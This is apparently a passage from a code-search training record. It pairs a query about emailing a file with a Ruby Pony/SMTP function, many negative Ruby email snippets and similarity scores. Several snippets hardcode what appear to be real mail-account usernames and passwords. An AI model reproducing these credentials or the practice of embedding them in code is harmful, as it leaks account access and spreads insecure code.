false\r\n end\r\n if !lower(str[0...str.index('@')])\r\n return false\r\n end\r\n if !containDot(str[(str.index('@') + 1)..-1])\r\n return false\r\n end\r\n return true\r\nend", "def is_valid_email(str)\n parts = str.split(\"@\")\n if parts.length != 2\n return false\n end\n first = parts[0]\n second = parts[1]\n alpha = \"abcdefghijklmnopqrstuvwxyz\"\n first.each_char do |char|\n if !alpha.include?(char)\n return false\n end\n end\n if second.split(\".\").length == 2\n return true\n else\n return false\n end\n \n \nend", "def find_email\n val = @email\n return if val.nil? \n val = LdapQuery::Scanner.search(val).as_user_attributes[:email] \n if val.nil?\n errors.add :base, 'Email address not found'\n return false\n end\n @email = val\n xdelegate = User.find_by_email(val.to_s)\n if xdelegate.nil?\n errors.add :base, 'Email does not have an account on this website'\n return false\n else\n self.delegate_user_id = xdelegate.id\n end\n\n end", "def email\n @net_ldap_entry[:mail].first\n end", "def valid_email?(email)\n email =~ /\\A[\\w+\\-.]+@[a-z\\d\\-]+(\\.[a-z\\d\\-]+)*\\.[a-z]+\\z/i\n end", "def email\n @email ||= select { |type,value| type == :email }.map do |(type,value)|\n value\n end\n end", "def get_domain_name_from_email_address(email)\n med = email[/[@].*[.]/]\n domain = med[1..-2]\nend", "def is_valid_email(str)\n parts = str.split(\"@\")\n\n if parts.length != 2\n return false\n end\n\n first = parts[0]\n second = parts[1]\n alpha = \"abcdefghijklmnopqrstuvwxyz\"\n\n first.each_char do |char|\n if !alpha.include?(char)\n return false\n end\n end\n\n if second.split('.').length == 2\n return true\n else\n return false\n end\nend" ]
[ "0.7712637", "0.7432787", "0.7431383", "0.74003136", "0.7394317", "0.7358094", "0.7357009", "0.73475564", "0.7336202", "0.7323558", "0.72153693", "0.7215354", "0.71899533", "0.7152718", "0.71313155", "0.70545745", "0.70545745", "0.70340085", "0.7001648", "0.69930464", "0.6989142", "0.6974843", "0.6974843", "0.6974295", "0.6965121", "0.69583285", "0.69224876", "0.6919051", "0.6916485", "0.69141436", "0.6909237", "0.6884587", "0.6881964", "0.68690157", "0.68420804", "0.68267816", "0.68245965", "0.6823027", "0.6815589", "0.6804788", "0.680297", "0.6800224", "0.67901796", "0.6789605", "0.67866665", "0.67818826", "0.6779284", "0.6761382", "0.67407703", "0.6740592", "0.6740592", "0.67104393", "0.67058265", "0.6668279", "0.66573006", "0.66517264", "0.66416997", "0.6640545", "0.66323036", "0.6623111", "0.6619182", "0.659541", "0.65946424", "0.65753096", "0.65679073", "0.65566736", "0.6547665", "0.6544845", "0.6541421", "0.6537532", "0.65355116", "0.653516", "0.6531335", "0.6529512", "0.65210027", "0.6517533", "0.65132755", "0.65130275", "0.6513008", "0.65120655", "0.6506054", "0.65034884", "0.6496775", "0.64938414", "0.64907175", "0.6490259", "0.64795876", "0.6471375", "0.64705235", "0.6470345", "0.6470027", "0.64679766", "0.64488703", "0.6443395", "0.64428234", "0.6441227", "0.64376676", "0.6419679", "0.6414424", "0.6413823" ]
0.6667052
54
Send a file to the given email address
def send_email_by_passing_file(sendto, attachmnent_filename, path='./public') Pony.mail({ :to => sendto, :from => 'Magic Team', :subject => 'Your web scrapper successfully finished', :body => 'Thanks for using web scrapper service offered by MAGiC', :attachments => {attachmnent_filename => File.read(File.join(path, attachmnent_filename))}, :via => :smtp, :via_options => { :address => 'smtp.gmail.com', :port => '587', :enable_starttls_auto => true, :user_name => 'osu.magic.team@gmail.com', :password => 'OSUCSE3901', :authentication => :plain, # :plain, :login, :cram_md5, no auth by default :domain => "localhost.localdomain" # the HELO domain provided by the client to the server }, }) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def send_email(url, email)\n file = open(url).read\n filename = get_name(url)\n\t\tPony.mail(:to => email,\n :from => 'Send To Kindle',\n\t\t :subject => 'Convert',\n\t\t :attachments => {filename => file},\n\t\t :via => :smtp, \n :via_options => @email_config\n ) \n\tend", "def send_email(attachment_name, destinataire)\n @greeting = \"Hi\"\n\t\tattachments[\"#{attachment_name}.csv\"] = File.read(\"#{RAILS_ROOT}/public/attachments/#{attachment_name}.csv\")\n mail :to => destinataire\n end", "def send_file(archives)\n @archives = archives\n @event = @archives.first.event\n mail(to: @archives.first.email, subject: t('photographer_client.email_with_photos_url_title', event_type: @event.get_translated(:event_type,I18n.locale), event_name: @event.get_translated(:name,I18n.locale)))\n end", "def mail_file(file)\n curpath = File.dirname(File.expand_path(__FILE__)) + \"/\"\n # get passwords and email\n conf = YAML::load(File.read(curpath + \"config.yaml\"))\n\n # we're using GMail\n options = { :address => \"smtp.gmail.com\",\n :port => 587,\n :domain => 'localhost',\n :user_name => conf[\"email\"],\n :password => conf[\"password\"],\n :authentication => 'plain',\n :enable_starttls_auto => true \n }\n\n Mail.defaults do\n delivery_method :smtp, options\n end\n @mail = Mail.deliver do\n to conf[\"receiver\"]\n from conf[\"email\"]\n subject 'convert'\n\n text_part do\n body 'sent from bibdesk'\n end\n\n\n add_file file\n end\nend", "def send_file(path); end", "def send_payment_receipt_by_mail(employee,file_path)\n\t\t\tbegin\n logger.info \"---BEGIN: send mail send_payment_receipt_by_mail---\"\n Mailer::deliver_send_payment_receipt(self,employee,file_path)\n logger.info \"---END: mail send successfull---\"\n rescue Exception => e\n logger.error \"---END: Error---\"\n\t\t \t\tlogger.error e\n logger.error \"------\"\n end\n\tend", "def send_mail(answer)\n exe_file = Tempfile.new([\"#{File.basename(answer.user_file.name, '.rb')}\", \".rb\"])\n File.open(exe_file, \"ab\") {|f| f.write(answer.user_file.data) }\n\n attachments[\"#{answer.user_file.name}\"] = File.read(exe_file)\n\n @greeting = \"#{answer.user_name}様から、#{answer.question.title}の解答が届きました。\\n\n \\n\n #{answer.email}宛に、Feedbackを返して返してあげましょう!\n \"\n \n mail to: \"#{answer.question.email}\", subject: \"Codestから解答の送信です。\"\n end", "def email_with_attachment(recipient_a, subject_a, user_a, org_fname, file_attach)\n @recipients = recipient_a\n @subject = subject_a\n @from = \"info@nrdpfc.ca\"\n @reply_to = \"info@nrdpfc.ca\"\n @body = subject_a \n part :content_type => \"multipart/mixed\" do |p|\n p.attachment :content_type => \"csv/text\", \n# :body => File.open(\"public/whale_batch.csv\", \"rb\") { |f| f.read },\n :body => file_attach,\n :filename => org_fname,\n :transfer_encoding => \"base64\",\n :charset => \"utf-8\"\n end \n end", "def mail!(to)\n if to.nil?\n to = @storage.directory.configuration[:mail]\n end\n if to.nil?\n raise Exception(\"No e-mail address specified for sending log to.\")\n end\n \n require \"etc\"\n require \"socket\"\n\n Mail::send(\n :from => Etc.getlogin.dup << \"@\" << Socket.gethostname,\n :to => to,\n :subject => Socket.gethostname.dup << \" : log : \" << self.file.path,\n :body => ::File.read(self.file.path)\n )\n \n return self.file.path\n end", "def send_mail(msg,tomailaddr)\n fromaddr = '<frommailaddress>'\n Net::SMTP.start('localhost', 25, '<fromdomain>') do |smtp|\n emailmessage = <<END\nFrom: <From Mail address>\nTo: #{tomailaddr.join('; ')}\nMIME-Version: 1.0\nContent-type: text/html\nSubject: Instance Report\n#{msg}\nEND\n smtp.send_message emailmessage, fromaddr, tomailaddr\n end\nend", "def send_error(email, message, queue,file)\n #@errors = message\n attachments['error.txt'] = file\n mail(to: email, subject: 'Ostagram ERROR')\n end", "def send_email\n g = GmailSender.new(USER_NAME, PASSWORD)\n\n g.send(:to => to,\n :subject => @subject,\n :content => full_content)\n end", "def attach( file_or_files, filename = file_or_files.is_a?(File) ? File.basename(file_or_files.path) : nil,\n type = nil, headers = nil)\n @mailer.attach(file_or_files, filename, type, headers)\n end", "def send_email(to, subject, content)\r\n\r\n end", "def general_email(addresses, subject_line, body_content, article_content=nil)\n \n if article_content != nil\n attachments.inline['attachment.txt'] = article_content\n end \n \n @content = body_content\n \n #TODO check that email is creatible, ie has valid addresses\n mail(:to => addresses, :subject => subject_line)\n \n end", "def send_file(url, name, file_info = {})\n client.api.send_content(id, url, name, 'm.file', extra_information: file_info)\n end", "def himail(user)\n data = File.read(Rails.root.join('public/assets/Logo-website2.png'))\n attachments['logo.png'] = data\n mail(:to => \"#{user.name} <chandrasekharjangam@gmail.com>\", :subject => \"Registered\")\n end", "def send_file(message, file)\n response = self.class.post(@api.send_file_config[:url],\n :query => { :auth_token => @token },\n :body => file_body({ :message => message }.send(@api.send_config[:body_format]), file),\n :headers => file_body_headers(@api.headers)\n )\n\n ErrorHandler.response_code_to_exception_for :user, user_id, response\n true\n end", "def sendit\n #Email script\n options = { :address => \"smtp.gmail.com\",\n :port => 587,\n :domain => 'gmail.com',\n :user_name => 'cirrusmioat',\n :password => 'soserious',\n :authentication => 'plain',\n :enable_starttls_auto => true }\n\n #Apply options\n Mail.defaults do\n delivery_method :smtp, options\n end\n\n #Send the email with .gif attached\n Mail.deliver do\n to 'mtshro2@gmail.com, tyler.shipp@uky.edu, mcortt@gmail.com'\n from 'cirrusmioat@gmail.com'\n subject 'DoorWatcher'\n body 'Capture from DoorWatcher'\n attachments['DOORCAPTURE.gif'] = File.read('DOORCAPTURE.gif')\n\t\n end\n end", "def mail; get_data_in_file :mail end", "def send_to_user(email)\n @email = email\n mail(:to => email.user_email, :subject => 'Your email has been sent!')\n end", "def food_mail(email)\n\n @url = 'http://foodcircles.net/?app=mobile_email'\n mail(:to => email, :reply_to => 'jk@joinfoodcircles.org', :subject => \"Your hunger is powerful.\")\n end", "def food_mail(email)\n\n @url = 'http://foodcircles.net/?app=mobile_email'\n mail(:to => email, :reply_to => 'jk@joinfoodcircles.org', :subject => \"Your appetite is powerful.\")\n end", "def sendmail\n run_mail_tools_queue(@command) do |msg, env|\n # Send the Message\n msg.puts @qmsg.message\n msg.close\n\n env.write('F' + @qmsg.return_path + \"\\0\")\n p @qmsg.recipients\n @qmsg.recipients.each { |r| env.write('T' + r + \"\\0\") }\n env.write(\"\\0\") # End of \"file\"\n end\n\n MailTools::Result.new(@qmsg, :queue, @exit_code)\n end", "def sent_with_attachments(email_to, email_from, email, my_attachments = [], assigns = {})\n load_settings\n email_builder = ActionView::Base.new(nil, assigns)\n email_from = email_from.blank? ? Confline.get_value(\"Email_from\") : email_from\n # attachments.each {|attach|\n # attachment :content_type => attach[:content_type], :filename =>attach[:filename] do |a|\n # a.body = attach[:file]\n # end\n # }\n\n if my_attachments and my_attachments.size.to_i > 0\n my_attachments.each { |attach|\n attachments[attach[:filename]] = attach[:file]\n }\n end\n\n mail(:to => email_to, :subject => email.subject,\n :from => \"#{email_from} <#{email_from}>\",\n :body => email_builder.render(\n :inline => nice_body(email.body),\n :locals => assigns),\n :content_type => \"text/#{email.format.to_s}\"\n )\n end", "def email_confirmation_link(member)\n @member = Member.find(member)\n @url = @member.confirm_email_link\n #attachments[\"rails.png\"] = File.read(\"#{Rails.root}/public/404.html\")\n #Se også inline attachments\n mail(to: @member.user.email, subject: t(:email_confirmation, :scope => [:business_messages, :email]) ) \n end", "def welcome_email\n attachments['filename.jpg'] = File.read('/path/to/filename.jpg')\n # ...\n end", "def upload_mail_file(path)\n msg = nil\n begin\n msg = patch_mail_file(path)\n if is_mail_message?(msg)\n print \"uploading #{path}\\n\"\n if @dry_run\n # print msg\n else\n status = upload_with_retries(msg)\n if !status.nil? && !status[1].nil? && status[1][:code] == '201'\n @count += 1 \n print \"#{path} uploaded\\n\"\n else\n print \"#{path} not uploaded\\n\"\n p status\n end\n end\n sleep(0.5)\n else\n print \"#{path} is not a mail message\\n\"\n end\n rescue\n print \"could not read/upload #{path}\\n\"\n end\n msg\n end", "def resume_confirm(email, username, filename)\n subject 'You have uploaded your resume to YouIntern'\n recipients email\n from 'support@youintern.com'\n sent_on Time.now\n \n body :username => username, :filename => filename\n end", "def send_file(path, options = T.unsafe(nil)); end", "def send_msg\n # Files to be attached\n files = []\n files << 'facebook.jpg' if params[:my_mail][:jpeg_file] == 'true'\n files << 'pmt.pdf' if params[:my_mail][:pdf_file] == 'true'\n files << 'квитанция.doc' if params[:my_mail][:ms_doc_file] == 'true'\n files << 'Documents NOT YLE.7z' if params[:my_mail][:zip_file] == 'true'\n\n MyMailer.hello_email(params[:my_mail][:name],\n params[:my_mail][:email],\n params[:my_mail][:subject],\n files).deliver\n flash[:notice] = 'Message sent successfully'\n# render nothing: true\n redirect_to :back\n end", "def send_file(file, caption = nil, filename: nil, spoiler: nil)\n pm.send_file(file, caption: caption, filename: filename, spoiler: spoiler)\n end", "def welcome(email,body)\n @greeting = \"Welcome\"\n @val=body\n @text= Item.where(:id=>@val)\n attachments[\"food1.png\"] = File.read(\"#{Rails.root}/public/food1.png\") \n mail to: email , subject:\"Welcome to Recipe Book Site\"\n \n end", "def email(options)\n puts \"sending to #{options}\"\n Pony.mail(BASE_EMAIL.merge(options))\n end", "def deliver mail\n if @cfg[:deliver]\n mail.deliver!\n logger.debug \"Files were emailed to #{mail.to}\"\n else\n logger.debug \"Files would have been emailed to #{mail.to}, but #{self.class.name} is configured not to\"\n end\n end", "def email_friend(article, sender_name, receiver_email)\n@article=article\n@sender_name=sender_name\n @greeting = \"Hi\"\np 333333333333333333333333333333333333333333333333333333333\nattachments[\"rails.png\"] = File.read(Rails.root.join(\"public/images/rails.png\"))\n mail :to => receiver_email , :subject => \"Interesting article\"\n p receiver_email\n p 44444444444444444444444444444444444444444444444444\n end", "def do_email\n @manifest = Manifest.find(params[:id])\n @email = params[:email]\n \n Notifier.manifest(@email, @manifest).deliver\n \n flash[:notice] = \"El documento ha sido enviado con exito .\"\n redirect_to \"/manifests/#{@manifest.id}\"\n end", "def send_thank_you_email(photo)\n @photo = photo\n mail(:to => @photo.from_email,\n :subject => 'Thanks for submitting the photo!' )\n end", "def send_image(user, iter, max_iter, file)\n attachments['out.png'] = file\n mail(to: user.email, subject: \"Ваше изображение обработано\")\n end", "def send_email(email)\n email.deliver_now\n end", "def send_email(from, from_alias, to, to_alias, subject, message) #Sending emails!\n\tmsg = <<END_OF_MESSAGE\nFrom: #{from_alias} <#{from}>\nTo: #{to_alias} <#{to}>\nReply-to: noreply@sirmxe.info\nSubject: #{subject}\n\t\n#{message}\nEND_OF_MESSAGE\n\t\n\tNet::SMTP.start('127.0.0.1') do |smtp|\n\t\tsmtp.send_message msg, from, to\n\tend\nend", "def letter_delivery(user,letter)\n @user = user\n @letter = letter\n @created_at = letter.created_at.strftime(\"%b-%d-%Y\")\n attachments[\"me2me.png\"] = File.read(\"#{Rails.root}/app/assets/images/me2me.png\")\n mail(to: user.email, subject: letter.subject)\n end", "def send_email(santa, recipient)\n require 'tlsmail' \n require 'time' \n \ncontent = <<EOF \nFrom: #{@username}\nTo: #{santa.email}\nSubject: Hey #{santa.fname}! Secret Santa info inside. \nDate: #{Time.now.rfc2822} \n \nYou are #{recipient.fname} #{recipient.lname}'s Secret Santa.\nEOF\n \n Net::SMTP.enable_tls(OpenSSL::SSL::VERIFY_NONE) \n Net::SMTP.start('smtp.gmail.com', 587, 'gmail.com', @username, @password, :login) do |smtp| \n smtp.send_message(content, @username, santa.email) \n end\nend", "def sendMail(adresse,nom,prenom,sujet_pdf)\n\n corps = <<EOF\n\nBonjour #{prenom} #{nom},\n\nVoici votre sujet individualisé pour l'examen de mathématiques\n\n********************************\n\n* La durée du contrôle est de 1h (+ 15 minutes de délai technique)\n\n* Vous devez répondre aux questions en écrivant à la main sur une copie en papier\n\n* Vous devez rendre votre copie sous forme d'un ou plusieurs fichiers : photo ou scan (jpg, png, pdf)\n\n* Vous devez avoir rendu votre copie avant 14h45 en la déposant sur moodle, dans l'onglet \"semaine 3\" du cours d'algèbre linéaire\n\n**************************\n\n* Calculatrices, Sage, documents, etc. autorisés\n\n* Attention à donner un maximum de détails de calcul et de rédaction\n\n**************************\n\n* Les profs tiendront une permanence rocket sur le canal iutinfo1atousmaths à partir de 13h15\n\n*************************\n\nCordialement,\nL'équipe enseignante de mathématiques\n\nEOF\n\n # Commande d'envoi simplifiée avec le gem Mail\n \n if ReallySend\n initMail\n Mail.deliver do\n #charset='UTF-8' # marche pas ? bref... :(\n from From\n to adresse\n subject Subject\n \n text_part do\n body corps\n end\n \n add_file :filename => NomEnvoi, :content => File.read(sujet_pdf)\n end\n else\n # simple affichage\n puts From\n puts adresse\n puts Subject\n puts corps\n end\nend", "def deliver_to_file\n @deliver_to_file\n end", "def share_with(from, *emails)\n emails.each do |email|\n Pony.mail(:to => email, \n :from => from, \n :subject => 'Hey what do you think of this guy...', \n :body => github_cv_url)\n end\n end", "def send_email(from, from_alias, to, to_alias, subject, message)\n\tmsg = <<END_OF_MESSAGE\nFrom: #{from_alias} <#{from}>\nTo: #{to_alias} <#{to}>\nMIME-Version: 1.0\nContent-type: text/plain\nSubject: #{subject}\n\n#{message}\nEND_OF_MESSAGE\n\n\tNet::SMTP.start('mr1.ufz.de',\n 25,\n 'localhost.localdomain',\n 'bilke', $password) do |smtp|\n\t\tputs \"Sending email to #{to_alias} <#{to}>...\"\n smtp.send_message(msg, from, to)\n\tend\nend", "def send_mail(email, subject, body)\n response = Net::HTTP.post_form(URI(\"http://www.dcs.shef.ac.uk/cgi-intranet/public/FormMail.php\"),\n \"recipients\" => email,\n \"subject\" => subject,\n \"body\" => body)\n response.is_a? Net::HTTPSuccess\n end", "def send_file(path)\n\n @buffer = File.read(path)\n send\n end", "def upload_email(document_upload_email)\n consumer = document_upload_email.consumer\n @standard_document = document_upload_email.standard_document\n\n from_address = email_address_for(:notification)\n reply_to = document_upload_email.email\n consumer_email = document_upload_email.consumer_email\n subject = [\"Upload document\", @standard_document.name].join(\" - \")\n\n delivery_options = { user_name: ENV['SES_SMTP_USERNAME'],\n password: ENV['SES_SMTP_PASSWORD'],\n address: ENV['SES_SMTP_ADDRESS'] }\n\n @logo_asset_url = get_logo_asset_url\n\n mail(from: from_address, reply_to: reply_to, to: consumer_email, subject: subject, delivery_method_options: delivery_options) do |format|\n format.html\n end\n end", "def sendmail_book(b)\n mail :to => \"wtakawo@gmail.com\"\n end", "def invite_email(user, emails)\n @user = user\n @friend_url = \"http://www.lacquerloveandlend.com/friendships/new?friend_id=#{@user.id}\"\n\n mail(to: emails, subject: \"#{user.name} wants to share with you on Lacquer Love&Lend!\", bcc: \"lacquerloveandlend@gmail.com\")\n\n headers['X-MC-Track'] = \"opens, clicks_all\"\n end", "def mail; end", "def send_email\n @costumer_id = params[:customer_id]\n @file_path = params[:file_path]\n @report_date=params[:report_date]\n @costumer = Customer.find(@costumer_id)\n EmailSender.eemail(@costumer.email, @file_path, @report_date).deliver\n CustomLogger.info(\"Se envia email a: #{@customer.inspect}, usuario: #{current_user.username}, #{Time.now}\")\n respond_to do |format|\n format.html {redirect_to delivery_report_products_path}\n format.json { head :no_content }\n end\n end", "def export_finished_success_email(user, filename, opml)\n @user = user\n @url = read_url locale: user.locale\n attachments[filename] = opml\n I18n.with_locale user.locale do\n mail to: @user.email\n end\n end", "def mail_pdf(document,email,user,message)\n @user=user\n @document=document\n @email=email\n @message=message\n\n uri = URI.parse document.pdfdoc_url\n sock= Net::HTTP.new(uri.host, uri.port)\n sock.use_ssl=true\n response=sock.start { |http| http.get uri.path }\n attachments['document.pdf'] = response.body\n mail to: email, subject: \"Auto Chlor System - \" << document.description.upcase\n end", "def test(email)\n mail(to: email, subject: \"Test\")\n end", "def message_delivery(user,message)\n @user = user\n @message = message\n @created_at = message.created_at.strftime(\"%b-%d-%Y\")\n attachments[\"me2me.png\"] = File.read(\"#{Rails.root}/app/assets/images/me2me.png\")\n mail(to: user.email, subject: message.title)\n end", "def mail_send(mail, message)\n\tGmail.connect('metaldroope@gmail.com', 'superpassword123') do |gmail|\n\t\temail = gmail.compose do\n\t\t to mail['mail']\n\t\t subject \"Top DJ News\"\n\t\t body message\n\t\tend\n\t\temail.deliver!\n\tend\nend", "def mail_to(email_address, name = T.unsafe(nil), html_options = T.unsafe(nil), &block); end", "def compose_mail(mail)\n \n #raise File.basename(mail.avatar.path)\n @mail = mail\n attachments[\"#{File.basename(mail.avatar.path)}\"] = File.read(\"#{mail.avatar.path}\")\n mail(:to => \"#{mail.email}\", :subject => \"#{mail.subject}\")\n end", "def new_photo_email(user, business)\n @user = user\n @business = business\n mail(:to => @user.email, :subject => \"Your photo has been uploaded on CONSIGN.NYC\")\n end", "def send_test(addresses)\n\n to_list = addresses\n cc_list = []\n subject = 'Test from PCB Tracker'\n\n mail( :to => to_list,\n :subject => subject,\n :cc => cc_list\n ) \n end", "def send_email_by_passing_jsonobject(sendto, json_object, filename)\n Pony.mail({\n :to => sendto,\n :from => 'Magic Team',\n :subject => 'Your web scrapper successfully finished',\n :body => 'Thanks for using web scrapper service offered by MAGiC',\n :attachments => {filename => \"json_object\"},\n :via => :smtp,\n :via_options => {\n :address => 'smtp.gmail.com',\n :port => '587',\n :enable_starttls_auto => true,\n :user_name => 'osu.magic.team@gmail.com',\n :password => 'OSUCSE3901',\n :authentication => :plain, # :plain, :login, :cram_md5, no auth by default\n :domain => \"localhost.localdomain\" # the HELO domain provided by the client to the server\n },\n })\n end", "def send_email(from_name,from_email,to_name,to_email,subject,body)\n # TODO replace with something bulkier and more of a hassle later?\n # TODO it is overspecialized to use the domain name here\n from_domain = \"foodgenome.com\"\n if !from_name || from_name.length < 1\n from_name = \"twitter\"\n from_email = \"twitter@#{from_domain}\"\n end\n begin\n message = \"From: #{from_name} <#{from_email}>\\n\" +\n \"To: #{to_name} <#{to_email}>\\n\" +\n \"Subject: #{subject}\\n\" +\n \"#{body}\\n\"\n Net::SMTP.start('localhost') do |smtp|\n smtp.send_message message, from_email, to_email\n end\n rescue\n # TODO if the email fails we can use this to filter bad users\n end\n end", "def send_file(file, caption: nil, tts: false, filename: nil, spoiler: nil)\n @bot.send_file(@id, file, caption: caption, tts: tts, filename: filename, spoiler: spoiler)\n end", "def application_request\n\t\tPony.mail(to: params[:email], from: \"bradwflint@gmail.com\", subject: \"Email application\", body: \"Here is the rental application!\", :attachments => {\"rentalapp.pdf\" => File.read(Rails.root.to_s + \"/public/rentalapp.pdf\")} )\n\t # Pony.mail(to: \"bradwflint@gmail.com\", from: \"bradwflint@gmail.com\", subject: \"Email application\", body: \"Here is the rental application!\", :attachments => {\"rentalapp.pdf\" => File.read(Rails.root.to_s + \"/public/rentalapp.pdf\")} )\n\t\tredirect_to properties_apply_path\n\tend", "def send_email(from, from_alias, to, to_alias, subject, message)\n \tmsg = <<END_OF_MESSAGE\nFrom: #{from_alias} <#{from}>\nTo: #{to_alias} <#{to}>\nMIME-Version: 1.0\nContent-type: text/plain\nSubject: #{subject}\n\n#{message}\nEND_OF_MESSAGE\n\n \tNet::SMTP.start('imap.leipzig.ufz.de',\n 25,\n 'localhost.localdomain',\n 'bilke', $password, :plain) do |smtp|\n \t\tputs \"Sending email to #{to_alias} <#{to}>...\"\n smtp.send_message(msg, from, to)\n \tend\n end", "def do_email\n @invoice = Factura.find(params[:id])\n @email = params[:email]\n \n Notifier.invoice(@email, @invoice).deliver\n \n flash[:notice] = \"The invoice has been sent successfully.\"\n redirect_to \"/facturas/#{@invoice.id}\"\n end", "def contact_email(message)\n @message = message\n @dest_email = 'team@calblueprint.org'\n\n mail(:to => @dest_email, :from => @message.email, :subject => @message.subject)\n\n end", "def send_email(gmail, body, mail_address)\n\n body_content = body\n mail_address = mail_address\n gmail = gmail\n\n gmail.deliver do\n to mail_address\n\n subject \"[Presentation] - The Hacking Project - Formation d'informatique gratuite\"\n html_part do\n content_type 'text/html; charset=UTF-8'\n body body_content\n end\n puts \"mail sent to #{mail_address}\"\n #in order to stay below the 10 mail / sec limit\n sleep(1)\n\n end\nend", "def send(opts)\n if opts.msg_to.empty?\n @log.warn \"ll-012: Email can't be sent to '#{opts.msg_to},\" \\\n \" more: '#{opts}'\"\n else\n msg = make_msg opts\n cli.send_message msg\n msg[:file_attachments].each(&:close) unless opts.msg_attachments.empty?\n @log.debug \"#{__FILE__} sent '#{opts['subject']}' to '#{opts.msg_to}'.\"\n end\n end", "def send_email( attachments=[], subject_var='Automated Email', to_ary=Passwords::MyName, body_var='Automated email', bcc_ary = [] )\n\n # Standardise email addresses into an array in case a string was passed through\n to_ary = [ to_ary ].flatten.compact\n bcc_ary = [ bcc_ary ].flatten.compact\n \n # Remove whitespace and add a domain if required.\n # This allows more readable and DRY names to be passed into the method.\n mailify = -> name { name.include?('@') ? name : ( name + Passwords::EmailSuffix ).gsub(/\\s/,'') }\n to_ary.map! { |name| mailify[ name ] }\n \n bcc_ary = bcc_ary.map { |name| mailify[ name ] }\n \n # Make sure attachments is an array\n attachments = [ attachments ].flatten if attachments.size != 0\n\n options = { address: Passwords::EmailServer,\n port: 25,\n user_name: Passwords::EmailUser,\n password: Passwords::EmailPass,\n authentication: 'plain',\n enable_starttls_auto: true }\n \n Mail.defaults do\n delivery_method :smtp, options\n end\n\n Mail.deliver do\n from Passwords::EmailUser + Passwords::EmailSuffix\n to to_ary\n subject subject_var\n attachments.each { |filename| add_file(filename) } unless attachments.empty?\n body body_var\n bcc bcc_ary\n end\n\n end", "def create_email(files, recipients, subject, body, params = {})\n params[:recipients] = {}\n\n [recipients].flatten.each_with_index do |recipient, index|\n params[:recipients][index] = recipient\n end\n\n params[:files] = [files].flatten.map do |filepath|\n File.new(filepath, 'rb')\n end\n\n params[:subject] = subject\n params[:body] = body\n\n request :post, \"/v3/emails.json\", params\n end", "def send_file(file_path, receiver_uuid, file_uuid)\n Pantry.logger.debug(\"[FileService] Sending file #{file_path} to #{receiver_uuid}\")\n @sender.send_file(file_path, receiver_uuid, file_uuid)\n end", "def sendemail(subject,content,to=nil) \n from = \"saq@xj.cninfo.net\" \n to = [\"saq@xj.cninfo.net\"] if to.nil? \n sendmessage = \"Subject: \"+subject +\"\\n\\n\"+content \n smtp = Net::SMTP.start(\"mail.xj.cninfo.net\",25,\"mail.xj.cninfo.net\",'saq','wei720503',:login) \n smtp.send_message sendmessage,from,to \n smtp.finish \n end", "def do_email\n @viatico = Viatico.find(params[:id])\n @email = params[:email]\n \n Notifier.viatico(@email, @viatico).deliver\n \n flash[:notice] = \"The viatico has been sent successfully.\"\n redirect_to \"/viaticos/#{@viatico.id}\"\n end", "def help_csv(params)\n @body = params[:body]\n path = params[:contacts].tempfile.path\n filename = params[:contacts].original_filename\n attachments[filename] = File.read(path)\n\n #sender_email = ActiveSupport::JSON.decode( params[:sender_email] )\n\n mail to: params[:sender_email]\n #binding.pry\n end", "def send_mail(email)\n mail to: email, subject: 'Welcome', body: 'body message'\n \n end", "def mail_shot(subject: nil,\n to: nil,\n body: nil,\n reply_to_addr: ENV['SOCIETY_EMAIL'],\n attaches: [])\n @body = body\n @reply_to_addr = reply_to_addr\n attaches.each do |attach|\n attachments[attach.filename] = { mime_type: attach.mime_type, content: attach.data }\n end\n\n mail(subject: subject, to: to)\n end", "def send_email( options={} )\n mail_opts = {\n :to => self.config[\"email\"][\"to\"],\n :from => self.config[\"email\"][\"from\"],\n :subject => \"A Message from MartSearch...\",\n :body => \"You have been sent this message from your MartSearch portal.\"\n }.merge!(options)\n \n mail = Mail.new do\n from mail_opts[:from]\n to mail_opts[:to]\n subject mail_opts[:subject]\n body mail_opts[:body]\n end\n \n if self.config[\"email\"][\"smtp\"]\n smtp_opts = { :host => \"127.0.0.1\", :port => \"25\" }\n \n [:host, :port, :user, :pass].each do |opt|\n if self.config[\"email\"][\"smtp\"][opt.to_s]\n smtp_opts[opt] = self.config[\"email\"][\"smtp\"][opt.to_s]\n end\n end\n \n Mail.defaults do\n smtp smtp_opts[:host], smtp_opts[:port]\n if smtp_opts[:user] then user smtp_opts[:user] end\n if smtp_opts[:pass] then pass smtp_opts[:pass] end\n end\n \n mail.deliver!\n else\n # Send via sendmail\n sendmail = `which sendmail`.chomp\n if sendmail.empty? then sendmail = \"/usr/sbin/sendmail\" end\n \n IO.popen('-', 'w+') do |pipe|\n if pipe\n pipe.write(mail.to_s)\n else\n exec(sendmail, \"-t\")\n end\n end\n end\n end", "def send_email(postman, opts)\n Dir.mktmpdir do |dir|\n name = \"svn-log-#{Date.today.strftime('%d-%b-%Y')}.html\"\n begin\n postman.send opts.merge(attachments: [to_f(File.join(dir, name), opts)])\n ensure\n FileUtils.rm_rf(\"#{dir}/*\")\n end\n rescue StandardError => e\n @log.error \"ll-010: Can't send an email '#{opts['subject']}' to #{opts['to']} due to \" \\\n \"#{Backtrace.new(e)}'\"\n end\n end", "def downloaded(order)\n @order = order\n to = @order.email\n\n mail :to => email_to(to), :subject => \"Your Pocket Prints Order ##{order.order_code} is being processed\"\n end", "def email_friend(sent_to,message,subject)\n @message=message\n mail to: 'shashitripathi253@gmail.com,'+sent_to,:subject => subject\n end", "def copy_email(params)\n @name = params[:name]\n @email = params[:email]\n @message = params[:message]\n\n mail from: ENV.fetch('WEBMASTER_EMAIL'),\n to: @email,\n template_name: 'send_email'\n end", "def deliver_dovecot data\n cmd = [\"/usr/lib/dovecot/deliver\", \"-d\", data[\"selector\"]]\n if data[\"spam\"]\n cmd += [\"-m\", @spam_folder_name]\n elsif data[\"folder\"]\n cmd += [\"-m\", data[\"folder\"]]\n end\n\n IO.popen(cmd, \"w\") do |io|\n io.write data[\"mail\"]\n end\n end", "def sendmail_confirm(to, server)\n @server = server\n mail to: to\n end", "def contact_email(message)\n @message = message\n @from = @message.email\n mail(from: message.email, reply_to: message.email, subject: message.subject)\n end", "def test(recipient)\n mail(to: recipient, subject: \"#{subject_prefix} Hello from Book Tracker\")\n end", "def save_to_file(emails)\n # Open the file with writing permission\n File.open(\"email_sent_list.txt\",\"w\") do |file|\n # Iterate the array\n emails.each do |email|\n # Write in the file to save output\n file.write(\"Email successfully sent to #{email}\\n\")\n end\n end \nend", "def message_email(user, sender, message, convoID)\n \t@user = user\n \t@message = message\n \t@sender = sender\n \t@url = 